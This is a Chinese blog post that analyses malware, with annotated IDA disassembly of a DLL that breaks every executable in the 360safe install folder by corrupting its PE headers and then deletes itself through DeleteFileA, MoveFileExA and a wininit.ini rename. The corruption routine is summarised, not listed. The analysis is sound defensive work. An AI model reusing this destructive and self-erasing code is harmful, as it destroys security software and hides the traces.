MJ0011原创 转载注明哦!
=================================
注意:此文为技术分析,不带任何偏向立场
由本文反汇编某厂商的病毒文件或曰恶意竞争文件而导致的任何法律问题,本人一概不负责
=================================
我将文中那个cab文件download了下来 解压得patch34.dll(内部名称是patch33.dll,看来升级得太快,程序员连版本信息也没改就发布了)
使用反汇编工具ida 5.0,发现了一些有意思的东西,现摘录如下:
我自己加了一些注释
; Exported entry 1. DllRegisterServer
;DLL注册时要干下面的事
; HRESULT DllRegisterServer(void)
public DllRegisterServer
DllRegisterServer proc near
push offset s_360safe ; "
360safe"
;呵呵,这是要干嘛呢?
call sub_10001477--->去调用这个子程序
pop ecx
push hModule ; hModule
call sub_10001291
push 1
pop eax
retn
DllRegisterServer endp
下面来看push了360safe后 sub_10001477这个子程序干嘛去了
; Attributes: bp-based frame
sub_10001477 proc near
FindFileData= _WIN32_FIND_DATAA ptr -350h
pvData= dword ptr -210h
FileName= byte ptr -10Ch
pdwType= dword ptr -8
pcbData= dword ptr -4
arg_0= dword ptr 8
;此处arg_0就是刚才被push的/360safe
push ebp
mov ebp, esp
sub esp, 350h
and byte ptr [ebp+pvData], 0
push esi
push edi
push 40h
pop ecx
xor eax, eax
lea edi, [ebp+pvData+1]
and [ebp+FileName], 0
rep stosd
stosw
stosb
push 40h
xor eax, eax
pop ecx
lea edi, [ebp-10Bh]
rep stosd
stosw
stosb
lea eax, [ebp+pcbData]
mov esi, 103h
push eax ; pcbData
lea eax, [ebp+pvData]
push eax ; pvData
lea eax, [ebp+pdwType]
push eax ; pdwType
push offset pszValue ; "ProgramFilesDir"
;push要取的注册表键值
push offset pszSubKey ; "'SOFTWAREMicrosoftWindowsCurrentVersion"
;push子键值
push 80000002h ; hkey
mov [ebp+pcbData], esi
mov [ebp+pdwType], 1
call ds:SHGetValueA
;获得SOFTWAREMicrosoftWindowsCurrentVersionProgramFilesDir这个注册表键的内容
;其实也就是系统程序文件夹的位置
push [ebp+arg_0]
;将获得的程序文件夹位置+arg_0(360safe)
;得到360safe安装文件夹地址
lea eax, [ebp+pvData]
push eax
push offset s_SS_exe ; "%s%s*.exe"
lea eax, [ebp+FileName]
push esi ; size_t
push eax ; char *
call __snprintf
and [ebp+FindFileData.dwFileAttributes], 0
;查找360安装目录下所有*.exe文件
add esp, 14h
xor eax, eax
lea edi, [ebp+FindFileData.ftCreationTime]
push 4Fh
pop ecx
rep stosd
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
lea eax, [ebp+FileName]
push eax ; lpFileName
call ds:FindFirstFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_10001579
;此处为查找文件的循环判断
loc_10001531:
lea eax, [ebp+FindFileData.cFileName]
push eax
lea eax, [ebp+pvData]
push [ebp+arg_0]
push eax
push offset s_SSS ; "%s%s%s"
lea eax, [ebp+FileName]
push esi ; size_t
push eax ; char *
call __snprintf
lea eax, [ebp+FileName]
push eax ; char *
call sub_100013F7
;如果找到了.exe文件,那么开始对其进行破坏
;sub_10013f7这个子程序的作用是破坏给定的EXE文件
;时间关系不列出代码了
;说一下大概流程
;将push入的文件路径用r+模式打开,然后自己判断pe相关信息,最后写入破坏后的pe结构,导致exe文件无法执行,提示非可执行文件
add esp, 1Ch
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
push edi ; hFindFile
call ds:FindNextFileA
test eax, eax
jnz short loc_10001531
test edi, edi
jz short loc_10001580
loc_10001579: ; hFindFile
push edi
call ds:FindClose
loc_10001580:
pop edi
pop esi
leave
retn
sub_10001477 endp
完成对360safe的可执行程序破坏后
开始执行
push hModule ; hModule
call sub_10001291
在 sub_10001291中
该dll将利用rundll32.exe将自己加载为一个进程执行
并进行自毁,自毁代码如下:(参数为自己的dll名)
; int __cdecl sub_1000102E(LPCSTR lpExistingFileName,char)
sub_1000102E proc near
lpExistingFileName= dword ptr 4
arg_4= byte ptr 8
cmp [esp+arg_4], 0
jnz short loc_1000104F
push [esp+lpExistingFileName] ; lpFileName
call ds:DeleteFileA
;;首先执行delete file
;;如果失败则跑到loc_10001047
;;成功则返回
cmp eax, 1
jnz short loc_10001047
xor eax, eax
retn
loc_10001047:
call ds:GetLastError
jmp short loc_10001052
loc_1000104F:
push 5
pop eax
loc_10001052:
cmp eax, 5
jz short loc_10001060
cmp eax, 20h
jz short loc_10001060
push 1
jmp short loc_10001079
;;使用win32下强大滴移除文件函数MoveFileExA对自己进行删除
;;不信自杀不了了我
loc_10001060:
call sub_10001000
test eax, eax
jz short loc_1000107B
push 4 ; dwFlags
push 0 ; lpNewFileName
push [esp+8+lpExistingFileName] ; lpExistingFileName
call ds:MoveFileExA
push 2
loc_10001079:
pop eax
retn
loc_1000107B:
push 0
push [esp+4+lpExistingFileName]
call sub_10001093
;;靠,还删不掉
;;我把自己写到wininit.ini里的rename里去,重启后自动删除
;;可一定要毁尸灭迹呀!
pop ecx
pop ecx
xor ecx, ecx
test eax, eax
setnz cl
inc ecx
mov eax, ecx
retn
sub_1000102E endp
综上,这个dll做的事主要就是干掉360SAFE的所有可执行文件,然后自毁
呵呵,真是杀人不留痕呀
MJ0011原创 转载注明哦